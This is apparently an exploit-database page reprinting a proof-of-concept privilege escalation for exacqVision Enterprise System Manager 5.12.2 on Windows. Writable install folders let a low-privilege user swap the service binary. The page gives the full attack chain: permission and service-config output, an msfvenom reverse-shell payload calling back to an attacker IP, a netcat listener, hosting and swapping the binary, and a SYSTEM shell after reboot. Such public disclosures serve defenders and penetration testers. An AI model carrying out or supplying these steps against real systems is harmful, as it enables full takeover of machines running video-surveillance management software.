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"exacqVision ESM 5.12.2 - Privilege Escalation"

Author

bzyo

Platform

windows

Release date

2019-02-14

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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46370/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46370/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46370/40843/exacqvision-esm-5122-privilege-escalation/download/", "exploit_id": "46370", "exploit_description": "\"exacqVision ESM 5.12.2 - Privilege Escalation\"", "exploit_date": "2019-02-14", "exploit_author": "bzyo", "exploit_type": "local", "exploit_platform": "windows", "exploit_port": null}
                                            

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# Exploit Title:  exacqVision ESM 5.12.2 - Privilege Escalation
# Exploit Author: bzyo
# Twitter: @bzyo_
# Date: 2019-02-13
# Vulnerable Software: 
# http://cdnpublic.exacq.com/5.12/exacqVisionEnterpriseSystemManager_5.12.2.150128_x86.exe
# Vendor Homepage: https://www.exacq.com
# Version: 5.12.2.150128
# Tested Windows 7 SP1 x86 and Windows 10 x64

# Description:
# exacqVision ESM 5.12.2 suffers from Privilege Escalation due to insecure file permissions

# Prerequisites
# Local, Low privilege access with restart capabilities

# Details
# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.  
# A low privilege account is able to rename the enterprisesystemmanager.exe file located in 
# this same path and replace with a malicious file that would connect back to an attacking computer giving system level privileges 
# (nt authority\system) due to the service running as Local System.  While a low privilege user is unable to restart the service 
# through the application, a restart of the computer triggers the execution of the malicious file.

# note: during install, you cannot choose a folder containing spaces i.e. "program files"

C:\>icacls exacqVisionEsm
exacqVisionEsm NT AUTHORITY\NETWORK SERVICE:(RX)
               win7-32bit\bob:(RX)
               BUILTIN\Administrators:(I)(F)
               BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
               NT AUTHORITY\SYSTEM:(I)(F)
               NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
               BUILTIN\Users:(I)(OI)(CI)(RX)
               NT AUTHORITY\Authenticated Users:(I)(M)
               NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files


C:\>sc qc "exacqVision Enterprise System Manager Web Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: exacqVision Enterprise System Manager Web Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ESMWebService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# Proof of Concept
1. Generate malicious .exe on attacking machine
  msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.163 LPORT=443 -f exe > /var/www/html/enterprisesystemmanager.exe

2. Setup listener and ensure apache is running on attacking machine
  nc -nlvvp 443
  service apache2 start
 
3. Download malicious .exe on victim machine
  Open browser to http://192.168.0.163/enterprisesystemmanager.exe and download

4. Rename C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe
   enterprisesystemmanager.exe > enterprisesystemmanager.bak
 
5. Copy/Move downloaded enterprisesystemmanager.exe file to C:\exacqVisionEsm\EnterpriseSystemManager\

6. Restart victim machine and login as low privileged user 

7. Reverse Shell on attacking machine opens
	C:\Windows\system32>whoami
	whoami
	nt authority\system